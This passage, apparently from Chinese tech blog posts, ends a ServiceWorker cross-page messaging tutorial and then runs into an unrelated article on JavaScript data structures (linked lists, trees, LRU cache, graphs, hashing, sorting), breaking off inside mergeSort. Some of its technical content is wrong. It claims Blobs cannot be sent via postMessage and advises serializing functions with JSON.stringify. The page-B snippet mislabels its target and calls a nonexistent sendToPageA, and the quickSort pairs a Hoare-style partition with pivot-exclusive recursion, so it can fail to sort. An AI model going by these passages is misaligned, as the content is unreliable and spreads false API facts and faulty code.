});

// 定期清理断开的连接(每30秒检查一次)
setInterval(async () => {
    const allClients = await self.clients.matchAll({
        type: 'window',
        includeUncontrolled: true
    });

    const activeClientIds = new Set(allClients.map(c => c.id));

    // 清理已断开的连接
    for (const [pageId, conn] of connections.entries()) {
        if (!activeClientIds.has(conn.id)) {
            console.log(`清理断开的连接: ${pageId}`);
            connections.delete(pageId);
        }
    }
}, 30000);

3.2 步骤2:编写页面代码

pagesA页面支持ServiceWorker注册、广播消息、点对点通讯。

<body>
    <h3>页面 A(标识:page-123)</h3>

    <div id="status" class="status inactive">Service Worker 未激活</div>

    <div>
        <input type="text" id="msgInput" placeholder="输入消息">
        <br>
        <button onclick="sendBroadcast()">广播消息</button>
        <button onclick="sendToPageB()">发给页面B</button>
        <button onclick="getOnlineList()">获取在线列表</button>
    </div>

    <div id="log"></div>

    <script>
        // 页面唯一标识
        const pageId = 'page-123';
        let serviceWorkerReady = false;

        // 日志输出函数
        function addLog(message) {
            const log = document.getElementById('log');
            const time = new Date().toLocaleTimeString();
            log.innerHTML += `<p>[${time}] ${message}</p>`;
            log.scrollTop = log.scrollHeight;
        }

        // 更新状态
        function updateStatus(active) {
            const statusEl = document.getElementById('status');
            if (active) {
                statusEl.textContent = 'Service Worker 已激活';
                statusEl.className = 'status active';
                serviceWorkerReady = true;
            } else {
                statusEl.textContent = 'Service Worker 未激活';
                statusEl.className = 'status inactive';
                serviceWorkerReady = false;
            }
        }

        // 注册 Service Worker
        async function registerServiceWorker() {
            if ('serviceWorker' in navigator) {
                try {
                    const registration = await navigator.serviceWorker.register('./service-worker.js');
                    console.log('Service Worker 注册成功:', registration);
                    addLog('Service Worker 注册成功');

                    // 等待 Service Worker 激活
                    await navigator.serviceWorker.ready;
                    updateStatus(true);
                    addLog('Service Worker 已激活');

                    // 发送注册消息
                    navigator.serviceWorker.controller.postMessage({
                        type: 'register',
                        pageId: pageId
                    });

                } catch (error) {
                    console.error('Service Worker 注册失败:', error);
                    addLog('Service Worker 注册失败: ' + error.message);
                }
            } else {
                addLog('浏览器不支持 Service Worker');
            }
        }

        // 监听来自 Service Worker 的消息
        navigator.serviceWorker.addEventListener('message', (event) => {
            console.log('页面A收到消息:', event.data);

            const { type, from, sender, data } = event.data;

            if (type === 'registered') {
                addLog(`✓ ${data}`);
            } else if (type === 'broadcast') {
                addLog(`📢 ${sender ? '来自 ' + sender + ': ' : ''}${data}`);
            } else if (type === 'private') {
                addLog(`📨 ${sender ? '来自 ' + sender + ': ' : ''}${data}`);
            } else if (type === 'online-list') {
                addLog(`👥 在线列表: [${data.join(', ')}]`);
            } else {
                addLog(`收到:${JSON.stringify(event.data)}`);
            }
        });

        // 发送广播消息
        function sendBroadcast() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            const input = document.getElementById('msgInput');
            if (!input.value.trim()) {
                addLog('⚠ 请输入消息内容');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'broadcast',
                pageId: pageId,
                data: input.value
            });

            addLog(`📤 发送广播: ${input.value}`);
            input.value = '';
        }

        // 发送点对点消息给页面B
        function sendToPageB() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            const input = document.getElementById('msgInput');
            if (!input.value.trim()) {
                addLog('⚠ 请输入消息内容');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'private',
                pageId: pageId,
                target: 'page-456',
                data: input.value
            });

            addLog(`📤 发送私信给 page-456: ${input.value}`);
            input.value = '';
        }

        // 获取在线列表
        function getOnlineList() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'get-online',
                pageId: pageId
            });
        }

        // 页面关闭时发送断开连接消息
        window.addEventListener('beforeunload', () => {
            if (serviceWorkerReady && navigator.serviceWorker.controller) {
                navigator.serviceWorker.controller.postMessage({
                    type: 'disconnect',
                    pageId: pageId
                });
            }
        });

        // 初始化
        registerServiceWorker();

        // 定期发送心跳(可选,用于检测连接状态)
        setInterval(() => {
            if (serviceWorkerReady && navigator.serviceWorker.controller) {
                navigator.serviceWorker.controller.postMessage({
                    type: 'heartbeat',
                    pageId: pageId
                });
            }
        }, 10000);
    </script>
</body>

3.3 步骤3:页面B

页面B与页面A结构相似,仅需修改页面标识和目标页面ID即可,核心适配点:

// 1. 修改页面唯一标识为page-456
const pageId = 'page-456';

// 2. 调整发送私信按钮的目标页面ID
function sendToPageB() {
    // ...(逻辑与sendToPageA一致)
    navigator.serviceWorker.controller.postMessage({
        type: 'private',
        pageId: pageId,
        target: 'page-123', // 目标为页面B的标识
        data: content
    });
}

3.4 步骤4:运行与调试说明

  1. 环境准备:将sw.js和页面文件放在同一目录,通过HTTP服务启动(如live-server、http-server),本地开发可直接用localhost访问,避免file://协议问题。
  2. 调试工具:在Chrome浏览器中直接访问地址:chrome://inspect/#workers;页面会列出当前浏览器中所有运行的Worker实例,找到目标ServiceWorker对应的“inspect”链接并点击,即可打开专属控制台。

image.png 3. 功能验证:同时打开页面A和页面B,点击“广播消息”可看到双方均收到;页面A发送“发给页面B”则仅页面B收到消息,实现点对点通讯。

image.pngimage.png

4. ServiceWorker注意事项

4.1 协议与作用域限制(最常见坑)

ServiceWorker仅支持HTTPS协议(localhost和127.0.0.1为开发例外),若在HTTP环境下使用会直接报错。同时,其“作用域(scope)”决定了可控制的页面范围:

  • 默认scope为注册脚本所在目录,例如在/js/sw.js注册,默认仅控制/js/目录下的页面。
  • 若需控制整个网站,需将sw.js放在根目录,或注册时指定scope: '/',且服务器需配置Service-Worker-Allowed: /响应头。

4.2 脚本更新机制复杂,易导致通讯异常

ServiceWorker注册后会缓存脚本,若修改sw.js后直接刷新页面,新脚本不会立即生效,需通过以下方式触发更新:

  • 页面中调用registration.update()主动检查更新。
  • 修改sw.js的文件内容(哪怕是注释),浏览器会检测到文件哈希变化,触发install事件。
  • 更新后需通过self.skipWaiting()clients.claim()让新脚本立即接管所有页面,否则需关闭所有页面后重新打开才生效。

4.3 消息数据序列化限制

通过postMessage()传递的消息数据需支持“结构化克隆算法”,无法传递函数、DOM元素、Blob等复杂类型。解决方案:

  • 简单数据:直接传递对象或数组。
  • 复杂数据:将Blob转为ArrayBuffer,将函数通过JSON.stringify序列化(需确保无循环引用)。

4.4 客户端管理需处理异常场景

ServiceWorker通过clients.matchAll()获取页面客户端时,需注意:

  • 部分页面可能处于“冻结状态”(如后台标签页),需通过client.focus()激活后再发送消息。
  • 客户端实例可能失效,发送消息前需通过client.urlclient.id验证有效性,避免报错。

4.5 兼容性与降级处理

ServiceWorker在IE浏览器中完全不支持,Safari在iOS 11.3以上才支持。实际项目中需做好降级:

// 降级处理示例:不支持时使用localStorage+storage事件替代
if (!navigator.serviceWorker) {
  log('浏览器不支持ServiceWorker,启用localStorage降级方案');
  // 监听localStorage变化实现跨页面通讯
  window.addEventListener('storage', (e) => {
    if (e.key === 'userLoginState') {
      const state = JSON.parse(e.newValue);
      updateLoginStatus(state);
    }
  });
}

5. 总结:ServiceWorker 通讯的最佳实践

最后总结一下:ServiceWorker是前端在需要离线支持、跨会话同步及后台协同场景下的最优通讯方案,使用时需根据自己的适用场景使用。

如有错误,请指正O^O!

JavaScript 性能与优化:数据结构和算法

引言

在JavaScript开发中, 正确的数据结构和算法选择对应用性能有着决定性的影响。随着Web应用日益复杂, 处理的数据量不断增长, 优化代码性能变得至关重要。本文将深入探讨JavaScript中关键数据结构和算法的实现、优化策略以及其在实际项目中的应用。

一、JavaScript中数据结构的选择策略

1.1 数组与对象的选择

在JavaScript中, 数组和对象是最常用的数据结构, 但它们在不同场景下的性能特征差异显著。

// 数组和对象性能对比示例
class DataStructureSelector {
  // 数组: 适合顺序访问和索引访问
  static arrayPerformanceTest() {
    const arr = [];
    const size = 1000000;

    // 测试插入性能
    console.time("数组插入");
    for (let i = 0; i < size; i++) {
      arr.push(i);
    }
    console.timeEnd("数组插入");

    // 测试随机访问性能
    console.time("数组随机访问");
    for (let i = 0; i < 1000; i++) {
      const index = Math.floor(Math.random() * size);
      const _ = arr[index];
    }
    console.timeEnd("数组随机访问");
  }

  // 对象: 适合键值对查找
  static objectPerformanceTest() {
    const obj = {};
    const size = 1000000;

    console.time("对象插入");
    for (let i = 0; i < size; i++) {
      obj[`key${i}`] = i;
    }
    console.timeEnd("对象插入");

    console.time("对象查找");
    for (let i = 0; i < 1000; i++) {
      const key = `key${Math.floor(Math.random() * size)}`;
      const _ = obj[key];
    }
    console.timeEnd("对象查找");
  }
}

// 性能测试
DataStructureSelector.arrayPerformanceTest();
DataStructureSelector.objectPerformanceTest();
// 数组插入: 24.589ms
// 数组随机访问: 0.172ms
// 对象插入: 933.765ms
// 对象查找: 0.512ms
1.2 Map与Set的优势

ES6引入的Map和Set提供了更专业的键值对和集合操作。

class MapSetPerformance {
  static compareMapVsObject() {
    const size = 1000000;

    // Object测试
    const obj = {};
    console.time("Object设置");
    for (let i = 0; i < size; i++) {
      obj[i] = `value${i}`;
    }
    console.timeEnd("Object设置");

    // Map测试
    const map = new Map();
    console.time("Map设置");
    for (let i = 0; i < size; i++) {
      map.set(i, `value${i}`);
    }
    console.timeEnd("Map设置");

    // 查找性能比较
    console.time("Object查找");
    for (let i = 0; i < 10000; i++) {
      const key = Math.floor(Math.random() * size);
      const _ = obj[key];
    }
    console.timeEnd("Object查找");

    console.time("Map查找");
    for (let i = 0; i < 10000; i++) {
      const key = Math.floor(Math.random() * size);
      const _ = map.get(key);
    }
    console.timeEnd("Map查找");
  }

  static setOperations() {
    const setA = new Set([1, 2, 3, 4, 5]);
    const setB = new Set([4, 5, 6, 7, 8]);

    // 并集
    const union = new Set([...setA, ...setB]);

    // 交集
    const intersection = new Set([...setA].filter((x) => setB.has(x)));

    // 差集
    const difference = new Set([...setA].filter((x) => !setB.has(x)));

    return { union, intersection, difference };
  }
}

MapSetPerformance.compareMapVsObject();
MapSetPerformance.setOperations();
// Object设置: 192.252ms
// Map设置: 329.439ms
// Object查找: 1.574ms
// Map查找: 2.983ms

二、链表及其变体实现

2.1 单向链表
class ListNode {
  constructor(value, next = null) {
    this.value = value;
    this.next = next;
  }
}

class LinkedList {
  constructor() {
    this.head = null;
    this.tail = null;
    this.size = 0;
  }

  // 添加节点到末尾
  append(value) {
    const newNode = new ListNode(value);

    if (!this.head) {
      this.head = newNode;
      this.tail = newNode;
    } else {
      this.tail.next = newNode;
      this.tail = newNode;
    }

    this.size++;
    return this;
  }

  // 添加节点到开头
  prepend(value) {
    const newNode = new ListNode(value, this.head);
    this.head = newNode;

    if (!this.tail) {
      this.tail = newNode;
    }

    this.size++;
    return this;
  }

  // 删除节点
  delete(value) {
    if (!this.head) return null;

    let deletedNode = null;

    // 如果头节点就是要删除的节点
    while (this.head && this.head.value === value) {
      deletedNode = this.head;
      this.head = this.head.next;
      this.size--;
    }

    let currentNode = this.head;

    // 遍历删除匹配的节点
    if (currentNode !== null) {
      while (currentNode.next) {
        if (currentNode.next.value === value) {
          deletedNode = currentNode.next;
          currentNode.next = currentNode.next.next;
        } else {
          currentNode = currentNode.next;
        }
      }
    }

    // 更新尾节点
    if (this.tail && this.tail.value === value) {
      this.tail = currentNode;
    }

    return deletedNode;
  }

  // 查找节点
  find(value) {
    if (!this.head) return null;

    let currentNode = this.head;

    while (currentNode) {
      if (currentNode.value === value) {
        return currentNode;
      }

      currentNode = currentNode.next;
    }

    return null;
  }

  // 反转链表
  reverse() {
    let currentNode = this.head;
    let prevNode = null;
    let nextNode = null;

    while (currentNode) {
      nextNode = currentNode.next;
      currentNode.next = prevNode;

      prevNode = currentNode;
      currentNode = nextNode;
    }

    this.tail = this.head;
    this.head = prevNode;

    return this;
  }

  // 转换为数组
  toArray() {
    const nodes = [];
    let currentNode = this.head;

    while (currentNode) {
      nodes.push(currentNode.value);
      currentNode = currentNode.next;
    }

    return nodes;
  }
}
2.2 双向链表
class DoublyListNode {
  constructor(value, next = null, prev = null) {
    this.value = value;
    this.next = next;
    this.prev = prev;
  }
}

class DoublyLinkedList {
  constructor() {
    this.head = null;
    this.tail = null;
    this.size = 0;
  }
  
  // 在末尾添加节点
  append(value) {
    const newNode = new DoublyListNode(value);
    
    if (!this.head) {
      this.head = newNode;
      this.tail = newNode;
    } else {
      this.tail.next = newNode;
      newNode.prev = this.tail;
      this.tail = newNode;
    }
    
    this.size++;
    return this;
  }
  
  // 在开头添加节点
  prepend(value) {
    const newNode = new DoublyListNode(value, this.head);
    
    if (this.head) {
      this.head.prev = newNode;
    }
    
    this.head = newNode;
    
    if (!this.tail) {
      this.tail = newNode;
    }
    
    this.size++;
    return this;
  }
  
  // 删除节点
  delete(value) {
    if (!this.head) return null;
    
    let deletedNode = null;
    let currentNode = this.head;
    
    while (currentNode) {
      if (currentNode.value === value) {
        deletedNode = currentNode;
        
        if (deletedNode === this.head) {
          this.head = deletedNode.next;
          
          if (this.head) {
            this.head.prev = null;
          }
          
          if (deletedNode === this.tail) {
            this.tail = null;
          }
        } else if (deletedNode === this.tail) {
          this.tail = deletedNode.prev;
          this.tail.next = null;
        } else {
          const prevNode = deletedNode.prev;
          const nextNode = deletedNode.next;
          
          prevNode.next = nextNode;
          nextNode.prev = prevNode;
        }
        
        this.size--;
      }
      
      currentNode = currentNode.next;
    }
    
    return deletedNode;
  }
  
  // 从尾部遍历
  reverseTraversal(callback) {
    let currentNode = this.tail;
    
    while (currentNode) {
      callback(currentNode.value);
      currentNode = currentNode.prev;
    }
  }
}

三、栈和队列的优化实现

3.1 栈的实现
class Stack {
  constructor() {
    this.items = [];
    this.count = 0;
  }
  
  // 入栈
  push(element) {
    this.items[this.count] = element;
    this.count++;
    return this.count;
  }
  
  // 出栈
  pop() {
    if (this.count === 0) return undefined;
    
    this.count--;
    const deletedItem = this.items[this.count];
    delete this.items[this.count];
    return deletedItem;
  }
  
  // 查看栈顶元素
  peek() {
    if (this.count === 0) return undefined;
    return this.items[this.count - 1];
  }
  
  // 检查栈是否为空
  isEmpty() {
    return this.count === 0;
  }
  
  // 获取栈大小
  size() {
    return this.count;
  }
  
  // 清空栈
  clear() {
    this.items = [];
    this.count = 0;
  }
  
  // 栈的应用:括号匹配
  static isBalancedParentheses(str) {
    const stack = new Stack();
    const parenthesesMap = {
      ')': '(',
      '}': '{',
      ']': '['
    };
    
    for (let char of str) {
      if (char === '(' || char === '{' || char === '[') {
        stack.push(char);
      } else if (char === ')' || char === '}' || char === ']') {
        if (stack.isEmpty() || stack.pop() !== parenthesesMap[char]) {
          return false;
        }
      }
    }
    
    return stack.isEmpty();
  }
}
3.2 队列的实现
class Queue {
  constructor() {
    this.items = {};
    this.frontIndex = 0;
    this.backIndex = 0;
  }
  
  // 入队
  enqueue(element) {
    this.items[this.backIndex] = element;
    this.backIndex++;
    return this.backIndex - this.frontIndex;
  }
  
  // 出队
  dequeue() {
    if (this.frontIndex === this.backIndex) return undefined;
    
    const element = this.items[this.frontIndex];
    delete this.items[this.frontIndex];
    this.frontIndex++;
    return element;
  }
  
  // 查看队首元素
  peek() {
    if (this.frontIndex === this.backIndex) return undefined;
    return this.items[this.frontIndex];
  }
  
  // 队列大小
  size() {
    return this.backIndex - this.frontIndex;
  }
  
  // 是否为空
  isEmpty() {
    return this.size() === 0;
  }
  
  // 清空队列
  clear() {
    this.items = {};
    this.frontIndex = 0;
    this.backIndex = 0;
  }
}

// 循环队列实现
class CircularQueue {
  constructor(k) {
    this.capacity = k;
    this.queue = new Array(k);
    this.headIndex = 0;
    this.count = 0;
  }
  
  enQueue(value) {
    if (this.isFull()) return false;
    
    const tailIndex = (this.headIndex + this.count) % this.capacity;
    this.queue[tailIndex] = value;
    this.count++;
    return true;
  }
  
  deQueue() {
    if (this.isEmpty()) return false;
    
    this.headIndex = (this.headIndex + 1) % this.capacity;
    this.count--;
    return true;
  }
  
  Front() {
    if (this.isEmpty()) return -1;
    return this.queue[this.headIndex];
  }
  
  Rear() {
    if (this.isEmpty()) return -1;
    const tailIndex = (this.headIndex + this.count - 1) % this.capacity;
    return this.queue[tailIndex];
  }
  
  isEmpty() {
    return this.count === 0;
  }
  
  isFull() {
    return this.count === this.capacity;
  }
}

四、树结构的深度优化

4.1 二叉树实现
class TreeNode {
  constructor(value) {
    this.value = value;
    this.left = null;
    this.right = null;
  }
}

class BinaryTree {
  constructor() {
    this.root = null;
  }
  
  // 插入节点
  insert(value) {
    const newNode = new TreeNode(value);
    
    if (!this.root) {
      this.root = newNode;
      return this;
    }
    
    let currentNode = this.root;
    
    while (true) {
      if (value < currentNode.value) {
        if (!currentNode.left) {
          currentNode.left = newNode;
          break;
        }
        currentNode = currentNode.left;
      } else {
        if (!currentNode.right) {
          currentNode.right = newNode;
          break;
        }
        currentNode = currentNode.right;
      }
    }
    
    return this;
  }
  
  // 深度优先遍历:前序
  preOrderTraversal(node = this.root, result = []) {
    if (node) {
      result.push(node.value);
      this.preOrderTraversal(node.left, result);
      this.preOrderTraversal(node.right, result);
    }
    return result;
  }
  
  // 深度优先遍历:中序
  inOrderTraversal(node = this.root, result = []) {
    if (node) {
      this.inOrderTraversal(node.left, result);
      result.push(node.value);
      this.inOrderTraversal(node.right, result);
    }
    return result;
  }
  
  // 深度优先遍历:后序
  postOrderTraversal(node = this.root, result = []) {
    if (node) {
      this.postOrderTraversal(node.left, result);
      this.postOrderTraversal(node.right, result);
      result.push(node.value);
    }
    return result;
  }
  
  // 广度优先遍历
  levelOrderTraversal() {
    if (!this.root) return [];
    
    const result = [];
    const queue = [this.root];
    
    while (queue.length > 0) {
      const levelSize = queue.length;
      const currentLevel = [];
      
      for (let i = 0; i < levelSize; i++) {
        const currentNode = queue.shift();
        currentLevel.push(currentNode.value);
        
        if (currentNode.left) {
          queue.push(currentNode.left);
        }
        if (currentNode.right) {
          queue.push(currentNode.right);
        }
      }
      
      result.push(currentLevel);
    }
    
    return result;
  }
  
  // 查找节点
  find(value) {
    let currentNode = this.root;
    
    while (currentNode) {
      if (value === currentNode.value) {
        return currentNode;
      } else if (value < currentNode.value) {
        currentNode = currentNode.left;
      } else {
        currentNode = currentNode.right;
      }
    }
    
    return null;
  }
}
4.2 平衡二叉搜索树(AVL树)
class AVLNode {
  constructor(value) {
    this.value = value;
    this.left = null;
    this.right = null;
    this.height = 1;
  }
}

class AVLTree {
  constructor() {
    this.root = null;
  }
  
  // 获取节点高度
  getHeight(node) {
    return node ? node.height : 0;
  }
  
  // 获取平衡因子
  getBalanceFactor(node) {
    return node ? this.getHeight(node.left) - this.getHeight(node.right) : 0;
  }
  
  // 右旋转
  rightRotate(y) {
    const x = y.left;
    const T2 = x.right;
    
    x.right = y;
    y.left = T2;
    
    y.height = Math.max(this.getHeight(y.left), this.getHeight(y.right)) + 1;
    x.height = Math.max(this.getHeight(x.left), this.getHeight(x.right)) + 1;
    
    return x;
  }
  
  // 左旋转
  leftRotate(x) {
    const y = x.right;
    const T2 = y.left;
    
    y.left = x;
    x.right = T2;
    
    x.height = Math.max(this.getHeight(x.left), this.getHeight(x.right)) + 1;
    y.height = Math.max(this.getHeight(y.left), this.getHeight(y.right)) + 1;
    
    return y;
  }
  
  // 插入节点
  insert(value) {
    this.root = this._insertNode(this.root, value);
  }
  
  _insertNode(node, value) {
    if (!node) return new AVLNode(value);
    
    if (value < node.value) {
      node.left = this._insertNode(node.left, value);
    } else if (value > node.value) {
      node.right = this._insertNode(node.right, value);
    } else {
      return node; // 不允许重复值
    }
    
    // 更新高度
    node.height = 1 + Math.max(
      this.getHeight(node.left),
      this.getHeight(node.right)
    );
    
    // 获取平衡因子
    const balance = this.getBalanceFactor(node);
    
    // 平衡调整
    // 左左情况
    if (balance > 1 && value < node.left.value) {
      return this.rightRotate(node);
    }
    
    // 右右情况
    if (balance < -1 && value > node.right.value) {
      return this.leftRotate(node);
    }
    
    // 左右情况
    if (balance > 1 && value > node.left.value) {
      node.left = this.leftRotate(node.left);
      return this.rightRotate(node);
    }
    
    // 右左情况
    if (balance < -1 && value < node.right.value) {
      node.right = this.rightRotate(node.right);
      return this.leftRotate(node);
    }
    
    return node;
  }
  
  // 查找最小值节点
  findMinNode(node) {
    while (node && node.left) {
      node = node.left;
    }
    return node;
  }
}

五、LRU缓存机制实现

class LRUCache {
  constructor(capacity) {
    this.capacity = capacity;
    this.cache = new Map();
    this.head = { key: null, value: null, prev: null, next: null };
    this.tail = { key: null, value: null, prev: null, next: null };
    this.head.next = this.tail;
    this.tail.prev = this.head;
  }
  
  // 添加节点到链表头部
  _addToHead(node) {
    node.prev = this.head;
    node.next = this.head.next;
    this.head.next.prev = node;
    this.head.next = node;
  }
  
  // 移除节点
  _removeNode(node) {
    const prev = node.prev;
    const next = node.next;
    prev.next = next;
    next.prev = prev;
  }
  
  // 移动到头部
  _moveToHead(node) {
    this._removeNode(node);
    this._addToHead(node);
  }
  
  // 移除尾部节点
  _popTail() {
    const res = this.tail.prev;
    this._removeNode(res);
    return res;
  }
  
  // 获取缓存
  get(key) {
    if (!this.cache.has(key)) {
      return -1;
    }
    
    const node = this.cache.get(key);
    this._moveToHead(node);
    return node.value;
  }
  
  // 设置缓存
  put(key, value) {
    if (this.cache.has(key)) {
      const node = this.cache.get(key);
      node.value = value;
      this._moveToHead(node);
    } else {
      const newNode = {
        key,
        value,
        prev: null,
        next: null
      };
      
      this.cache.set(key, newNode);
      this._addToHead(newNode);
      
      if (this.cache.size > this.capacity) {
        const tail = this._popTail();
        this.cache.delete(tail.key);
      }
    }
  }
  
  // 获取所有缓存键(按使用顺序)
  getKeys() {
    const keys = [];
    let node = this.head.next;
    
    while (node !== this.tail) {
      keys.push(node.key);
      node = node.next;
    }
    
    return keys;
  }
  
  // 清空缓存
  clear() {
    this.cache.clear();
    this.head.next = this.tail;
    this.tail.prev = this.head;
  }
}

// LRU缓存使用示例
const lruCache = new LRUCache(3);

// 添加数据
lruCache.put('user1', { name: 'Alice', age: 25 });
lruCache.put('user2', { name: 'Bob', age: 30 });
lruCache.put('user3', { name: 'Charlie', age: 35 });

console.log('当前缓存键:', lruCache.getKeys()); // ['user3', 'user2', 'user1']

// 访问user1,将其移动到最前面
lruCache.get('user1');
console.log('访问user1后:', lruCache.getKeys()); // ['user1', 'user3', 'user2']

// 添加新数据,超出容量
lruCache.put('user4', { name: 'David', age: 40 });
console.log('添加user4后:', lruCache.getKeys()); // ['user4', 'user1', 'user3']

六、图的算法实现

6.1 图的表示和遍历
class Graph {
  constructor(isDirected = false) {
    this.vertices = new Map();
    this.isDirected = isDirected;
  }
  
  // 添加顶点
  addVertex(vertex) {
    if (!this.vertices.has(vertex)) {
      this.vertices.set(vertex, new Set());
    }
  }
  
  // 添加边
  addEdge(vertex1, vertex2) {
    if (!this.vertices.has(vertex1)) {
      this.addVertex(vertex1);
    }
    if (!this.vertices.has(vertex2)) {
      this.addVertex(vertex2);
    }
    
    this.vertices.get(vertex1).add(vertex2);
    
    if (!this.isDirected) {
      this.vertices.get(vertex2).add(vertex1);
    }
  }
  
  // 深度优先遍历
  dfs(startVertex, callback) {
    const visited = new Set();
    
    const dfsVisit = (vertex) => {
      visited.add(vertex);
      callback && callback(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          dfsVisit(neighbor);
        }
      }
    };
    
    dfsVisit(startVertex);
  }
  
  // 广度优先遍历
  bfs(startVertex, callback) {
    const visited = new Set([startVertex]);
    const queue = [startVertex];
    
    while (queue.length > 0) {
      const vertex = queue.shift();
      callback && callback(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visited.add(neighbor);
          queue.push(neighbor);
        }
      }
    }
  }
  
  // 最短路径(BFS)
  shortestPath(startVertex, endVertex) {
    if (!this.vertices.has(startVertex) || !this.vertices.has(endVertex)) {
      return null;
    }
    
    const visited = new Set([startVertex]);
    const queue = [startVertex];
    const predecessors = new Map();
    const distances = new Map();
    
    distances.set(startVertex, 0);
    
    while (queue.length > 0) {
      const vertex = queue.shift();
      
      if (vertex === endVertex) {
        return this._buildPath(predecessors, startVertex, endVertex);
      }
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visited.add(neighbor);
          predecessors.set(neighbor, vertex);
          distances.set(neighbor, distances.get(vertex) + 1);
          queue.push(neighbor);
        }
      }
    }
    
    return null;
  }
  
  _buildPath(predecessors, start, end) {
    const path = [end];
    let current = end;
    
    while (current !== start) {
      current = predecessors.get(current);
      path.unshift(current);
    }
    
    return path;
  }
  
  // 拓扑排序(仅适用于有向无环图)
  topologicalSort() {
    if (!this.isDirected) {
      throw new Error('拓扑排序仅适用于有向图');
    }
    
    const visited = new Set();
    const stack = [];
    
    const visit = (vertex) => {
      visited.add(vertex);
      
      const neighbors = this.vertices.get(vertex);
      for (const neighbor of neighbors) {
        if (!visited.has(neighbor)) {
          visit(neighbor);
        }
      }
      
      stack.push(vertex);
    };
    
    for (const vertex of this.vertices.keys()) {
      if (!visited.has(vertex)) {
        visit(vertex);
      }
    }
    
    return stack.reverse();
  }
}
6.2 Dijkstra最短路径算法
class WeightedGraph {
  constructor() {
    this.adjacencyList = new Map();
  }
  
  addVertex(vertex) {
    if (!this.adjacencyList.has(vertex)) {
      this.adjacencyList.set(vertex, []);
    }
  }
  
  addEdge(vertex1, vertex2, weight) {
    this.adjacencyList.get(vertex1).push({ node: vertex2, weight });
    this.adjacencyList.get(vertex2).push({ node: vertex1, weight });
  }
  
  dijkstra(start, end) {
    const nodes = new PriorityQueue();
    const distances = new Map();
    const previous = new Map();
    const path = [];
    
    // 初始化
    for (const vertex of this.adjacencyList.keys()) {
      if (vertex === start) {
        distances.set(vertex, 0);
        nodes.enqueue(vertex, 0);
      } else {
        distances.set(vertex, Infinity);
        nodes.enqueue(vertex, Infinity);
      }
      previous.set(vertex, null);
    }
    
    while (!nodes.isEmpty()) {
      const smallest = nodes.dequeue().value;
      
      if (smallest === end) {
        // 构建路径
        let current = end;
        while (current) {
          path.unshift(current);
          current = previous.get(current);
        }
        break;
      }
      
      if (smallest && distances.get(smallest) !== Infinity) {
        for (const neighbor of this.adjacencyList.get(smallest)) {
          const candidate = distances.get(smallest) + neighbor.weight;
          
          if (candidate < distances.get(neighbor.node)) {
            distances.set(neighbor.node, candidate);
            previous.set(neighbor.node, smallest);
            nodes.enqueue(neighbor.node, candidate);
          }
        }
      }
    }
    
    return path.length > 1 ? path : [];
  }
}

// 优先队列实现
class PriorityQueue {
  constructor() {
    this.values = [];
  }
  
  enqueue(value, priority) {
    this.values.push({ value, priority });
    this.sort();
  }
  
  dequeue() {
    return this.values.shift();
  }
  
  sort() {
    this.values.sort((a, b) => a.priority - b.priority);
  }
  
  isEmpty() {
    return this.values.length === 0;
  }
}

七、散列表与哈希函数

7.1 自定义散列表实现
class HashTable {
  constructor(size = 53) {
    this.keyMap = new Array(size);
  }
  
  // 哈希函数
  _hash(key) {
    let total = 0;
    const PRIME = 31;
    
    for (let i = 0; i < Math.min(key.length, 100); i++) {
      const char = key[i];
      const value = char.charCodeAt(0) - 96;
      total = (total * PRIME + value) % this.keyMap.length;
    }
    
    return total;
  }
  
  // 二次哈希解决冲突
  _hash2(key) {
    let total = 0;
    const PRIME = 37;
    
    for (let i = 0; i < Math.min(key.length, 100); i++) {
      const char = key[i];
      const value = char.charCodeAt(0) - 96;
      total = (total * PRIME + value) % this.keyMap.length;
    }
    
    return total || 1; // 确保不为0
  }
  
  // 双重散列解决冲突
  _doubleHash(key, attempt) {
    const hash1 = this._hash(key);
    const hash2 = this._hash2(key);
    return (hash1 + attempt * hash2) % this.keyMap.length;
  }
  
  // 设置键值对
  set(key, value) {
    let attempt = 0;
    let index = this._doubleHash(key, attempt);
    
    // 处理冲突
    while (this.keyMap[index] && this.keyMap[index][0] !== key) {
      attempt++;
      index = this._doubleHash(key, attempt);
      
      if (attempt > this.keyMap.length) {
        throw new Error('哈希表已满');
      }
    }
    
    this.keyMap[index] = [key, value];
  }
  
  // 获取值
  get(key) {
    let attempt = 0;
    let index = this._doubleHash(key, attempt);
    
    while (this.keyMap[index]) {
      if (this.keyMap[index][0] === key) {
        return this.keyMap[index][1];
      }
      attempt++;
      index = this._doubleHash(key, attempt);
    }
    
    return undefined;
  }
  
  // 获取所有键
  keys() {
    const keysArr = [];
    
    for (let i = 0; i < this.keyMap.length; i++) {
      if (this.keyMap[i]) {
        keysArr.push(this.keyMap[i][0]);
      }
    }
    
    return keysArr;
  }
  
  // 获取所有值
  values() {
    const valuesArr = [];
    
    for (let i = 0; i < this.keyMap.length; i++) {
      if (this.keyMap[i]) {
        // 避免重复值
        if (!valuesArr.includes(this.keyMap[i][1])) {
          valuesArr.push(this.keyMap[i][1]);
        }
      }
    }
    
    return valuesArr;
  }
}

八、排序算法优化

8.1 快速排序优化
class SortingAlgorithms {
  // 快速排序(原地排序)
  static quickSort(arr, left = 0, right = arr.length - 1) {
    if (left < right) {
      const pivotIndex = this.partition(arr, left, right);
      this.quickSort(arr, left, pivotIndex - 1);
      this.quickSort(arr, pivotIndex + 1, right);
    }
    return arr;
  }
  
  static partition(arr, left, right) {
    const pivot = arr[Math.floor((left + right) / 2)];
    let i = left;
    let j = right;
    
    while (i <= j) {
      while (arr[i] < pivot) {
        i++;
      }
      while (arr[j] > pivot) {
        j--;
      }
      if (i <= j) {
        [arr[i], arr[j]] = [arr[j], arr[i]];
        i++;
        j--;
      }
    }
    
    return i;
  }
  
  // 归并排序
  static mergeSort(arr) {
    if (arr.length <= 1) return arr;
    
    const mid = Math.floor(arr.length / 2);
    const left = this.mergeSort(arr.slice(0, mid));
